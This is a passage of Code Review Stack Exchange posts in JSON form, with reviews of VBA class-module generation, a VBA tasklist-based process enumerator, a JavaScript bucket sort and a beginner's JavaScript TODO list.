Sub\n\n\n\n'##### PROPERTIES #####\n\n\n'# ID\n\n'A cumulative Id number (attributed during initialization)\nPublic Property Get Id() as Long\n Id = pId\nEnd Property\n\n\n'# FIRSTNAME\n\n'First name\nPublic Property Get FirstName() as String\n FirstName = pFirstName\nEnd Property\nPublic Property Let FirstName(Var as String)\n pFirstName = Var\nEnd Property\n\n\n'# LASTNAME\n\n'Last Name\nPublic Property Get LastName() as String\n LastName = pLastName\nEnd Property\nPublic Property Let LastName(Var as String)\n pLastName = Var\nEnd Property\n\n\n'# DATEOFBIRTH\n\n'Date of Birth\nPublic Property Get DateOfBirth() as Date\n DateOfBirth = pDateOfBirth\nEnd Property\nPublic Property Let DateOfBirth(Var as Date)\n pDateOfBirth = Var\nEnd Property\n\n\n'# SALES\n\n'A collection of strings which represent sales ID numbers\nPublic Property Get Sales() as Collection\n Set Sales = pSales\nEnd Property\nPublic Property Set Sales(Var as Collection)\n Set pSales = Var\nEnd Property\n\n\n'# PROPOSALS\n\n'A collection of clsProposal objects which represent the proposals sent in the past\nPublic Property Get Proposals() as Collection\n Set Proposals = pProposals\nEnd Property\nPublic Property Set Proposals(Var as Collection)\n Set pProposals = Var\nEnd Property\n\n\n\n'##### FUNCTIONS #####\n\n\n'# NEWPROPOSAL\n\n'Returns a Proposal for given sales parameters\nPublic Function NewProposal(ByVal Title as String, ByVal ExpDate as Date) as clsProposal\n\nEnd Function\n\n\n\n'##### METHODS #####\n\n\n'# SENDBESTWISHES\n\n'Sends a wishes card (why not?)\nPublic Sub SendBestWishes(ByVal Address as String)\n\nEnd Sub\n\n\n'# MAKEPREMIUM\n\n'Upgrades the client to Premium\nPublic Sub MakePremium()\n\nEnd Sub\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T15:50:19.483",
"Id": "212984",
"ParentId": "212923",
"Score": "0"
}
},
{
"body": "<p>This post is tagged with <a href=\"/questions/tagged/object-oriented\" class=\"post-tag\" title=\"show questions tagged 'object-oriented'\" rel=\"tag\">object-oriented</a>, but what I'm seeing is very ironically procedural code.</p>\n\n<p>It doesn't matter that this is \"just a quick tool\": we're here to write professional, quality code that is easy to read and maintain, performs well, and correctly. <a href=\"https://codereview.stackexchange.com/a/212942/23788\">Comintern</a> has given great feedback and highlighted a number of bugs and edge cases - which is exactly the purpose of this site and the reason one puts their code up for peer review, as opposed to just sharing it on GitHub.</p>\n\n<p>Procedural code is essentially <em>a sequence of executable statements</em>. This <code>main</code> procedure is exactly that. If this were actual object-oriented code, it might have read like this:</p>\n\n<pre><code>Public Sub Main()\n\n Dim info As ClassInfo\n Set info = GetClassInfo(Selection)\n If info Is Nothing Then\n MsgBox \"Invalid Selection. Review debug output for details.\"\n Exit Sub\n End If\n\n CreateClassModule info\n\nEnd Sub\n</code></pre>\n\n<p>10 lines, including vertical whitespace. With proper <em>abstraction</em>, no procedure ever really needs to be much longer than that, and we know <em>at a glance</em> exactly what the procedure does, at a high level; if we need to look into the gory details of how a <code>ClassInfo</code> object gets created, we need to drill down to the <code>GetClassInfo</code> function, which we know will return <code>Nothing</code> if something goes wrong; if we need to look into the gory details of how a class module gets created, we need to navigate to the <code>CreateClassModule</code> procedure, which we know will take a <code>ClassInfo</code> parameter.</p>\n\n<p><code>CreateClassModule</code> might look like this:</p>\n\n<pre><code>Private Sub CreateClassModule(ByVal info As ClassInfo)\n\n Dim path As String\n path = GetDestinationFilePath(info.Name)\n If path = vbNullString Then Exit Sub\n\n With FileWriter.Create(path)\n .Write info.ToString\n End With\n\nEnd Sub\n</code></pre>\n\n<p>Again, the procedure fits a handful of lines, and it's trivially easy to understand what's going on. There's a <code>GetDestinationFilePath</code> function that probably prompts for a folder and returns a full path/filename (using the provided <code>info.Name</code>), or an empty string if that prompt is cancelled by the user. It then proceeds to create some <code>FileWriter</code> object that is responsible for the file I/O, and the file is trivially written by invoking its <code>Write</code> method, given <code>info.ToString</code>, which presumably builds a string representation of the class module. The <code>FileWriter</code> class has a <code>VB_PredeclaredId</code> attribute set to <code>True</code> and exposes a <code>Create</code> <a href=\"https://rubberduckvba.wordpress.com/2018/08/28/oop-battleship-part-1-the-patterns/\" rel=\"nofollow noreferrer\">factory method</a> (disclaimer: I wrote that article) that takes the path/filename of the file to be created; presumably the <code>Class_Terminate</code> handler ensures the file handle is properly closed, but that's a low-level implementation detail that <code>CreateClassModule</code> doesn't need to be bothered with and, as a matter of fact, isn't.</p>\n\n<p>So we need a definition for this <code>ClassInfo</code> object; we know we're going to need a <code>ToString</code> method and a <code>Name</code> property. Anything else? I can think of a number of things:</p>\n\n<pre><code>'@Folder(\"Tools.ClassBuilder\")\n'@ModuleDescription(\"Describes the metadata needed for generating a class module.\")\nOption Explicit\nPrivate Type TClassInfo\n Name As String\n Description As String\n IsPredeclared As Boolean\n IsExposed As Boolean\n Members As Collection\nEnd Type\n\nPrivate this As TClassInfo\n\nPrivate Sub Class_Initialize()\n Set this.Members = New Collection\nEnd Sub\n\n'@Description(\"Gets/sets the name of the class. Must be a valid identifier. Determines the value of the 'VB_Name' attribute.\")\nPublic Property Get Name() As String\n Name = this.Name\nEnd Property\n\nPublic Property Let Name(ByVal value As String)\n 'TODO: validate input!\n this.Name = value\nEnd Property\n\n'@Description(\"Gets/sets the description of the class. Determines the value of the 'VB_Description' attribute.\")\nPublic Property Get Description() As String\n Description = this.Description\nEnd Property\n\nPublic Property Let Descrition(ByVal value As String)\n 'TODO: validate input!\n this.Description = value\nEnd Property\n\n'@Description(\"Gets/sets the value of the 'VB_PredeclaredId' attribute.\")\nPublic Property Get IsPredeclared() As Boolean\n IsPredeclared = this.IsPredeclared\nEnd Property\n\nPublic Property Let IsPredeclared(ByVal value As Boolean)\n this.IsPredeclared = value\nEnd Property\n\n'@Description(\"Gets/sets the value of the 'VB_Exposed' and, indirectly, the 'VB_Creatable' attribute.\")\nPublic Property Get IsExposed() As Boolean\n IsExposed = this.IsExposed\nEnd Property\n\nPublic Property Let IsExposed(ByVal value as Boolean)\n this.IsExposed = value\nEnd Property\n\n'@Description(\"Adds the specified member metadata to this instance.\")\nPublic Sub AddMember(ByVal info As MemberInfo)\n 'TODO: validate input!\n this.Members.Add info, info.Key\nEnd Sub\n\n'@Description(\"Builds a string representing the entire contents of the class module.\")\nPublic Function ToString() As String\n With New StringBuilder\n .AppendLine BuildHeaderInfo\n Dim member As MemberInfo\n For Each member In this.Members\n .AppendLine member.ToString\n Next\n ToString = .ToString\n End With\nEnd Function\n\nPrivate Function BuildHeaderInfo() As String\n With New StringBuilder\n .AppendLine \"VERSION 1.0 CLASS\"\n .AppendLine \"BEGIN\"\n .AppendLine \" MultiUse = -1 'True\"\n .AppendLine \"END\"\n .AppendLine \"Attribute VB_Name = \"\"\" & this.Name & \"\"\"\"\n .AppendLine \"Attribute VB_GlobalNameSpace = False\" ' no effect in VBA\n .AppendLine \"Attribute VB_Creatable = \" & CStr(Not this.IsExposed)\n .AppendLine \"Attribute VB_PredeclaredId = \" CStr(this.IsPredeclared)\n .AppendLine \"Attribute VB_Exposed = \" CStr(this.IsExposed)\n .AppendLine \"Attribute VB_Description = \"\"\" & this.Description & \"\"\"\"\n .AppendLine \"'@ModuleDescription(\"\"\" & this.Description & \"\"\")\"\n .AppendLine \"Option Explicit\"\n BuildHeaderInfo = .ToString\n End With\nEnd Function\n</code></pre>\n\n<p>Note the explicit <code>ByVal</code> modifiers and the absolute absence of any kind of Hungarianesque prefixing scheme.</p>\n\n<p>The <code>'@Annotation</code> comments are picked up by <a href=\"https://github.com/rubberduck-vba/Rubberduck\" rel=\"nofollow noreferrer\">Rubberduck</a> (full disclosure: I am one of the administrators of this open-source VBIDE add-in project); they serve the dual purpose of documenting attribute values, and (through Rubberduck features) of <em>enforcing</em> these attribute values. Again note that the largest procedure here is a trivial series of <code>.AppendLine</code> calls on some <a href=\"https://codereview.stackexchange.com/q/67596/23788\">StringBuilder</a> object that's responsible for efficiently building a string, and again these are private implementation details of the <code>ToString</code> method, which does nothing more than append this file header info and each module members' own string representation to the result.</p>\n\n<p>So there needs to be a <code>MemberInfo</code> class - that's essentially the role your <code>clsGenClsMember</code> class is playing. But your class is just <em>data</em> - an object encapsulates data, yes, but an object also performs operations on this data: from the code above we know a <code>MemberInfo</code> at least needs a <code>ToString</code> method, i.e. a way to turn its data into a string representation, and a <code>Key</code> property that gets a string that combines the member kind (<code>Sub</code>, <code>Function</code>, <code>PropertyGet</code>, <code>PropertyLet</code>, <code>PropertySet</code>) with the member's name, so that the keyed collection doesn't choke when a <code>PropertyLet</code> member is added for, say, a <code>Name</code> property when a <code>PropertyGet</code> member already exists for it.</p>\n\n<p>You get the idea by now: the <code>GetClassInfo</code> procedure invoked in <code>Main</code> creates a <code>ClassInfo</code> instance, then trivially iterates the rows in the source <code>Range</code> to create <code>MemberInfo</code> instances and add them to the class metadata; if a property needs a getter and a setter, then two <code>MemberInfo</code> instances are added.</p>\n\n<p>This isn't any more complicated than writing procedural code. In fact, I would quite vehemently argue that it's <em>simpler</em> - and <em>much</em> easier to debug/maintain, extend/enhance, and test. Not because it's \"just a quick tool\". Writing object-oriented code isn't especially hard; it's about how we <em>think</em> about code, about how we <em>model</em> the problem to be solved. IMO this \"quick little tool\" could be a <em>perfect</em> excuse to learn to write modern, object-oriented VBA code.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:51:27.500",
"Id": "411943",
"Score": "0",
"body": "Note: all code provided is air-code supplied for illustrative purposes; none of it was tested, and likely some adjustments are necessary (handling property members' backing fields comes to mind)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:11:30.113",
"Id": "411949",
"Score": "0",
"body": "Never heard of the StringBuilder object before; great discovery today! On an other hand, I feel you guys should work on socializing with newcommers: Although usefull, these reviews are sadly full of unecessary and snobish wordings such as \"ironically\". The post is tagged as \"Object Oriented\" because the **goal** of the source code is to generate **class modules**."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:15:40.297",
"Id": "411950",
"Score": "0",
"body": "@Ama I'll be honest, I was utterly thrilled yesterday when I saw your post. Then I saw how you kept defending the \"but this is just a quick little tool for myself\" standpoint, and I'll admit that *did* make me feel like reviewing it might not be worth the effort, since it wasn't clear whether you were even interested in improving this code in any way. Sorry this frustration transpired in my post and/or comments. As for OOP, as you can see there's much more to OOP than just using class modules."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:27:53.277",
"Id": "411954",
"Score": "0",
"body": "I think I have been missinfored as to where I should have placed this code. Someone from Stack Overflow said that was the right place; whilst all I initially wanted was to share it with others, without expecting any comments on improving it (indeed I first was not really interested in improving this code). But I always take comments and have definitely learned a few things today. So I guess our paths will meet again, but for more 'serious' code, where I indeed encapsulate objects and use 10-20 lines long Subs. ;)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:35:25.940",
"Id": "411960",
"Score": "0",
"body": "@Ama argh, SO folks always get CR wrong! ;-) CR is where you put up your best-looking, production-ready code up for review, and receive feedback on any/all aspects of it, in order to achieve the highest possible code quality. In the VBA tag you will encounter several maintainers of the Rubberduck OSS project, which I warmly encourage you to look into - reviewing the inspection results and code metrics can help pick up the low-hanging fruit before a CR reviewer gets their eyes on it. I *hope* to see you around here again!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:40:26.320",
"Id": "411964",
"Score": "0",
"body": "Alright.. so that was like submitting a thesis.. ! :'D I already use Rubberduck, that's how I figured out my coding style was called \"Hungarian\"!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:49:43.287",
"Id": "411966",
"Score": "1",
"body": "@Ama - FWIW, you can disable the inspection in RD if you're attached to that notation style. It's not uncommon for CRs to spark spirited debates about style preferences or for different reviewers to post wildly different suggestions. It certainly helps to go into it with the understanding of what you're going to get though. I'm usually more disappointed if I *don't* get a handful of critical comments for a CR question - that's why I post them. ;-)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:56:20.063",
"Id": "411967",
"Score": "0",
"body": "I did deactivate the Hungarian warning in RD haha. But that is about the only thing I deactivated. Under a .NET environnment I would agree on avoiding Hungarian style (plus how the hell would you manage all the prefixes, there are so many types, interfaces..). But for VBA I do find it usefull, if only to enhance intellisense, segregate Office objects from other objects, etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T18:02:32.557",
"Id": "411970",
"Score": "1",
"body": "@Ama but you don't feel a need to segregate user classes from framework classes in .NET? *Blending in* is the whole point of conventions (i.e. PascalCase type & member names). I really don't want to drag this debate, but I see zero use in using HN in a statically typed language. *Maybe* if this were VBScript and everything had to be `Variant`, but in VBA/VB6 it just doesn't hold water IMO. As for IntelliSense, I guess I prefer typing \"D\" to get to \"Description\" ...so when RD starts hijacking IntelliSense and you can type \"FSO\" to get a \"FileSystemObject\", HN will die? ;-)"
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:40:02.433",
"Id": "212990",
"ParentId": "212923",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "212942",
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T15:19:28.450",
"Id": "212923",
"Score": "7",
"Tags": [
"object-oriented",
"vba",
"excel",
"ms-word"
],
"Title": "Standardized and automated Class block generation for VBA"
} | 212923 |
<p>This arose out of the incident where it was realized that WMI could not be expected to be reliable across all various computers. The next thing I looked at was API which was positively awful to work with. Based on a suggestion, I decided to try and use <code>tasklist</code>. Note that efforts was made to ensure there are no disk I/Os, which avoids getting into the messy realms of file management. The only annoyance is that the <code>WshExec</code> will pop open a window but that can be managed and is beyond the scope of the question.</p>
<p>The question is - can we make the process more reliable and failsafe? The idea is that it must be consistent across several computer systems, Windows versions, and so on. This makes uses of Windows Host Scripting Model and ADODB recordset. The application already requires ADODB anyway and the code can be updated to be late-bound as well. For testing/development, I left this in early-bound state.</p>
<pre class="lang-vb prettyprint-override"><code>Public Function EnumProcesses() As ADODB.Recordset
Dim WshShell As IWshRuntimeLibrary.WshShell
Dim WshExec As IWshRuntimeLibrary.WshExec
Dim StdOut As IWshRuntimeLibrary.TextStream
Dim Data As ADODB.Recordset
Dim Output As String
Dim ColumnLengths() As Long
Set Data = New ADODB.Recordset
Data.Fields.Append "ImageName", adVarChar, 255
Data.Fields.Append "PID", adInteger, , adFldKeyColumn
Data.Open
Set WshShell = CreateObject("WScript.Shell")
Set WshExec = WshShell.Exec("tasklist")
Set StdOut = WshExec.StdOut
Do While WshExec.Status = WshRunning
If Not StdOut.AtEndOfStream Then
Output = StdOut.ReadLine
Select Case True
Case Len(Output) = 0, _
Output Like "Image Name*"
'Skip
Case Output Like "====*"
Dim SplitColumns As Variant
SplitColumns = Split(Output, " ")
ReDim ColumnLengths(UBound(SplitColumns))
Dim i As Long
For i = 0 To UBound(SplitColumns)
ColumnLengths(i) = Len(SplitColumns(i))
Next
Case Else
Data.AddNew
Data.Fields("ImageName").Value = Mid$(Output, 1, ColumnLengths(0))
Data.Fields("PID").Value = Trim$(Mid$(Output, ColumnLengths(0) + 2, ColumnLengths(1)))
Data.Update
End Select
End If
Loop
Set EnumProcesses = Data
End Function
</code></pre>
| [] | [
{
"body": "<p>Apart from a performance question regarding ADODB recordsets, I only made one real change to your code. Since there are several fields that are output by the <code>tasklist</code> utility, I would want to capture all of that data just in case I need to expand my database at a later time. So I created a class called <code>OSTask</code> which accepts a single line from the <code>tasklist</code> output and parses it into its component parameters. (This means I could also skip the case you have to calculate column widths.)</p>\n\n<p><strong>Class <code>OSTask</code></strong></p>\n\n<pre><code>Option Explicit\n\nPrivate Type InternalData\n ImageName As String\n PID As Long\n SessionName As String 'could also be an Enum: Console, Services\n SessionNumber As Long\n MemUsage As Long\nEnd Type\nPrivate this As InternalData\n\nPublic Property Get ImageName() As String\n ImageName = this.ImageName\nEnd Property\n\nPublic Property Get PID() As Long\n PID = this.PID\nEnd Property\n\nPublic Property Get SessionName() As String\n SessionName = this.SessionName\nEnd Property\n\nPublic Property Get SessionNumber() As Long\n SessionNumber = this.SessionNumber\nEnd Property\n\nPublic Property Get MemUsage() As Long\n MemUsage = this.MemUsage\nEnd Property\n\nPublic Sub Init(ByVal taskData As String)\n '--- converts a single line output from the Windows command\n ' shell utility 'tasklist' and parses the data into the\n ' class properties\n Dim pos1 As Long\n Dim pos2 As Long\n\n '--- find the end of the task name, looking for double-space\n pos1 = InStr(1, taskData, \" \", vbTextCompare)\n this.ImageName = Trim$(Left$(taskData, pos1))\n\n '--- the next value is a number followed by a single space\n Dim i As Long\n For i = pos1 To Len(taskData)\n If Not Mid$(taskData, i, 1) = \" \" Then\n pos2 = InStr(i, taskData, \" \", vbTextCompare)\n this.PID = CLng(Mid$(taskData, i, pos2 - i))\n Exit For\n End If\n Next i\n\n '--- next value is the session name\n pos1 = pos2 + 1\n pos2 = InStr(pos1, taskData, \" \", vbTextCompare)\n this.SessionName = Trim$(Mid$(taskData, pos1, pos2 - pos1))\n\n '--- the next value is a number followed by a single space\n For i = pos2 To Len(taskData)\n If Not Mid$(taskData, i, 1) = \" \" Then\n pos2 = InStr(i, taskData, \" \", vbTextCompare)\n this.SessionNumber = CLng(Mid$(taskData, i, pos2 - i))\n Exit For\n End If\n Next i\n\n '--- next value is the memory usage, a large number in thousands\n pos1 = pos2\n pos2 = InStr(pos1, taskData, \"K\", vbTextCompare)\n Dim memUsageText As String\n memUsageText = Mid$(taskData, pos1, pos2 - pos1)\n memUsageText = Replace$(memUsageText, \",\", vbNullString)\n this.MemUsage = CLng(memUsageText) * 1000\nEnd Sub\n</code></pre>\n\n<p>All of the properties are read-only in this case by design.</p>\n\n<p>For my example, I converted your function to return a <code>Collection</code> rather than an <code>ADODB.Recordset</code> just to make my own testing simpler. So the only real change is in the <code>Else</code> case of the <code>Select</code> statement.</p>\n\n<p>For my own learning purposes, I reviewed <a href=\"https://stackoverflow.com/a/32298415/4717755\">this answer's</a> detailed review of the command shell interactions. Since you specifically stated that you are avoiding disk I/O, the option to pipe the output to a windows temp file is no good. To really prevent the command shell pop-up, you'd have to go with running a <code>cscript</code> under a <code>wscript</code> shell as the poster there indicates. Additionally, I couldn't find any historical information that the <code>tasklist</code> output has changed over time, so I believe your approach should remain viable across different Windows versions.</p>\n\n<p>Here is my main module with my minor edits for testing:</p>\n\n<pre><code>Option Explicit\n\nSub test()\n Dim taskList As Collection\n Set taskList = EnumProcesses\n\n Dim task As Variant\n For Each task In taskList\n Debug.Print task.ImageName & \", \" & task.MemUsage\n Next task\nEnd Sub\n\nPublic Function EnumProcesses() As Collection\n Dim WshShell As IWshRuntimeLibrary.WshShell\n Dim WshExec As IWshRuntimeLibrary.WshExec\n Dim StdOut As IWshRuntimeLibrary.TextStream\n Dim Data As Collection\n Dim Output As String\n Dim ColumnLengths() As Long\n\n Set WshShell = CreateObject(\"WScript.Shell\")\n Set WshExec = WshShell.Exec(\"tasklist\")\n Set StdOut = WshExec.StdOut\n\n Set Data = New Collection\n\n Do While WshExec.Status = WshRunning\n If Not StdOut.AtEndOfStream Then\n Output = StdOut.ReadLine\n Select Case True\n Case Len(Output) = 0, _\n Output Like \"Image Name*\"\n 'Skip\n Case Output Like \"====*\"\n 'Skip\n Case Else\n Dim thisTask As OSTask\n Set thisTask = New OSTask\n thisTask.Init Output\n Data.Add thisTask\n End Select\n End If\n Loop\n\n Set EnumProcesses = Data\nEnd Function\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T19:40:53.177",
"Id": "212998",
"ParentId": "212926",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:33:25.437",
"Id": "212926",
"Score": "6",
"Tags": [
"vba",
"winapi"
],
"Title": "Enumerating processes without enumerating flaws of the API"
} | 212926 |
<p>I was asked to implement bucket sort recently from my friend. </p>
<blockquote>
<p>Bucket sort is mainly useful when input is uniformly distributed over
a range. For example, consider the following problem. Sort a large set
of floating point numbers which are in range from 0.0 to 1.0 and are
uniformly distributed across the range.</p>
</blockquote>
<p>How do we sort the numbers efficiently? I would like to ask for feedback for my solution. I also performed some diagram and benchmark it against quicksort.
I appreciate any feedback.</p>
<pre><code>function bucketsort(arr, range_min, range_max) {
if (arr.length <= 1) {
return arr;
}
if (arr.length < 20) {
return arr.sort();
}
let result = [];
let numberOfBuckets = Math.ceil(Math.sqrt(arr.length));
for (let i = 0; i < numberOfBuckets; i++) {
result.push([]);
}
let bucketRange = (range_max - range_min) / numberOfBuckets;
for (let i = 0; i < arr.length; i++) {
let bucketIndex = Math.floor((arr[i] - range_min) / bucketRange);
result[bucketIndex].push(arr[i]);
}
let finalResult = []
for (let i = 0; i < result.length; i++) {
finalResult = finalResult.concat(bucketsort(result[i], i * bucketRange + range_min, (i+1) * bucketRange + range_min));
}
return finalResult;
}
// console.log(bucketsort([0.897, 0.565, 0.656, 0.1234, 0.665, 0.3434, 0.897, 0.565, 0.656, 0.1234, 0.665, 0.3434], 0.0, 1.0));
// console.log(bucketsort([1,2,3,4,5,6,7,8,9,10,11,12,13,14], 0, 15));
// bucketRange = 0.33333
//
// 0.0 0.333 0.666 1.0
// [ [ ], [ ], [ ]]
// calling bucketsort on large arrays compared to quicksort
let test = [];
for (let i = 0; i < 100000; i++) {
test.push(Math.random());
}
function quicksort(arr) {
return arr.sort((a, b) => {
return a - b;
});
}
console.time("quicksort: ");
quicksort(test);
console.timeEnd("quicksort: ");
console.time("bucketsort: ");
bucketsort(test, 0.0, 1.0);
console.timeEnd("bucketsort: ");
Array.sort
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T18:49:55.413",
"Id": "411975",
"Score": "0",
"body": "What is the useless `Array.sort` doing at the end?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T20:47:21.870",
"Id": "411983",
"Score": "0",
"body": "just for testing the output is the same"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:52:24.533",
"Id": "212928",
"Score": "0",
"Tags": [
"javascript",
"sorting"
],
"Title": "Bucket sort algorithm in JavaScript"
} | 212928 |
<p>I have implemented a very basic TODO List with no database or backend support. Though I have coded in C++ and Python before, this is my first HTML and JavaScript code. Please review the code and let me know where it can be improved.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var numericalID = 1
function addNewTask() {
var container = document.getElementById("taskContainer")
var checkbox = document.createElement('input');
checkbox.type = "checkbox";
checkbox.name = "name";
checkbox.value = "value";
var idStr="id:"+numericalID
checkbox.id = idStr
checkbox.addEventListener('change',function() {
var idSplitArray=this.id.split(':')
var labelStr="label:"+idSplitArray[1]
var labelTask=document.getElementById(labelStr)
//alert(idSplitArray)
if(this.checked) {
labelTask.style.setProperty("text-decoration", "line-through");
} else
{
labelTask.style.setProperty("text-decoration","none");
}})
var label = document.createElement('label')
var labelStr="label:"+numericalID
label.id=labelStr
label.htmlFor = "id";
label.appendChild(document.createTextNode(document.getElementById('taskName').value +" "));
var delButton=document.createElement('input')
delButton.type="image"
delButton.src="delButton.png"
delButton.id="del:"+numericalID
delButton.addEventListener('click',function(){
var idSplitArray=this.id.split(':')
var checkBoxId="id:"+idSplitArray[1]
var labelStrId="label:"+idSplitArray[1]
var delButton="del:"+idSplitArray[1]
var lineBreakId="line:"+idSplitArray[1]
console.log(lineBreakId)
console.log(checkBoxId)
console.log(labelStrId)
console.log(delButton)
document.getElementById(checkBoxId).remove();
document.getElementById(labelStrId).remove();
document.getElementById(delButton).remove();
document.getElementById(lineBreakId).remove();
})
container.appendChild(checkbox);
container.appendChild(label);
container.appendChild(delButton)
var linebreak=document.createElement("br")
linebreakID="line:"+numericalID
linebreak.id=linebreakID
numericalID+=1
container.appendChild(linebreak)
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>To Do</title>
<script type="text/javascript" src="ToDo.js"></script>
</head>
<body align="center">
<form action="">
Task Name: <input type="text" id="taskName" name="fname"><br>
<input type="submit" value="Submit" onclick="addNewTask() ; return false;">
<div id="taskContainer">
</div>
</form>
</body>
</html></code></pre>
</div>
</div>
</p>
| [] | [
{
"body": "<p>I have several comments about styling:</p>\n\n<ol>\n<li><p>check the indentation and fix it. There are some different styles that can be observed but universally lines that are <em>inside</em> a function (or even more generally - a scope) would have one indentation level more than before.</p></li>\n<li><p>Spacing - be consistent. In one line you have <code>checkbox.value = \"value\";</code> with spaces around the equals sign. The next line you have <code>var idStr=\"id:\"+numericalID</code> - no spaces around the equals or the operator. I personally put spaces around each but that's personal preference. You can have spaces only around equals signs, or even only on the right side of equals signs or only around operators, etc. Whatever you pick - be consistent.</p></li>\n<li><p>Semicolons at the end of the line. In JavaScript, they are not strictly required due to a feature called <a href=\"https://stackoverflow.com/questions/2846283/what-are-the-rules-for-javascripts-automatic-semicolon-insertion-asi\">automatic semicolon insertion (ASI)</a>. So, a lot of times you can get away without putting them. Although occasionally, you may find your code doesn't behave as expected. Still, as long as you understand how ASI works, you should be fine. Just pick a style - with or without a semicolon and stick with it. I personally prefer putting them in because I find the ASI rules quite annoying to try and remember every time.</p></li>\n<li><p>Opening curly brackets - they should be either at the same line as the statement they accompany or the next line. You're pretty consistent with having it on the same line aside from where the <code>else</code> shows up. </p></li>\n<li><p>Super tiny issue - you don't have <code>linebreakID</code> declared properly. It's missing the <code>var</code> keyword, so the variable is now an implied global. I'm mentioning it here with the style issues because you've been consistent with having <code>var</code> statements, so it seems like a simple typo, rather than a different problem.</p></li>\n</ol>\n\n<hr>\n\n<p>Styling is pretty important for readable and understandable code. You can employ a linter like ESLint or JSCS (JavaScript Code Style) where you can define the style you want (indentation using spaces/tabs, spaces around equals signs, etc) and then they will scan your code and report back any style violations. They even have an autofix option that takes care of all the style changes, so you don't have to, for example, manually go and fill in every missing semicolon in the file. Linters are a pretty useful tool.</p>\n\n<hr>\n\n<p>Other than styles, I'd say the function is quite long. It can be broken down into smaller ones for the sake of readability. This is subjective, I know, but having to scroll to read everything is usually too much. There is no duplicate code but you can still just do something like this:</p>\n\n<pre><code>function createCheckbox() {\n var checkbox = document.createElement('input');\n checkbox.type = \"checkbox\";\n checkbox.name = \"name\";\n checkbox.value = \"value\";\n\n var idStr = \"id:\" + numericalID;\n checkbox.id = idStr;\n\n checkbox.addEventListener('change', function() {\n var idSplitArray = this.id.split(':');\n var labelStr = \"label:\" + idSplitArray[1];\n var labelTask = document.getElementById(labelStr);\n\n if (this.checked) {\n labelTask.style.setProperty(\"text-decoration\", \"line-through\");\n } else {\n labelTask.style.setProperty(\"text-decoration\", \"none\");\n }\n });\n\n return checkbox;\n}\n</code></pre>\n\n<p>So you don't have all the boring details about setting up a checkbox around more important code. It's a judgement call how you'd split off the code, though - you might elect to have the event handler defined back in the <code>addNewTask</code> function or even split off into a separate function. Whatever it is, the point is to make the main function shorter by splitting off logical portions of the code. In effect, you get code comments - only instead of <code>//creating checkbox</code> you have <code>checkbox = createCheckbox()</code>. But the latter is also self-documenting and has less of a chance to drift away from the code and become an irrelevant and/or inaccurate comment.</p>\n\n<hr>\n\n<p>For actual logic improvements - right now, there is string manipulation to determine which HTML ID corresponds to which element ID by employing string splitting and conversely creating complex ID values to accommodate that. That <em>works</em> and it's honestly something even big name libraries out there do. Still, it's possible to do better - you can use <a href=\"https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes\" rel=\"noreferrer\"><code>data-*</code> attributes in HTML</a>. In short, you can have custom attributes attached to HTML elements. The custom attribute is prefixed with <code>data-</code> and you can define the rest of the name. So, you can add a <code>data-id=\"1\"</code>, for example, to all elements that will operate on the element with ID <code>1</code>. That way, you don't need to do string manipulation to get the correct data out of it, you can directly reference the custom attribute.</p>\n\n<hr>\n\n<p>And that's most of my advice. I think there are other things, too but I don't consider them that important. I'm honestly quite pleased with this code and my main issue is really formatting inconsistency. I am especially pleased that you create the HTML elements programmatically via <code>document.createElement</code> followed by setting the attributes. That is a very good style and amazing to see in a beginner. I very often see even experienced JS developers opting to just do something like <code>parentElement.innerHTML = '<input type=\"checkbox\" id=\"id:\"' + numericalID +'\" /></code> which can be quite annoying to read and has some potentially disadvantages, some even potential security vulnerabilities.</p>\n\n<p>Overall, I'd applaud this effort, especially from a beginner. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T21:43:20.553",
"Id": "212941",
"ParentId": "212929",
"Score": "5"
}
},
{
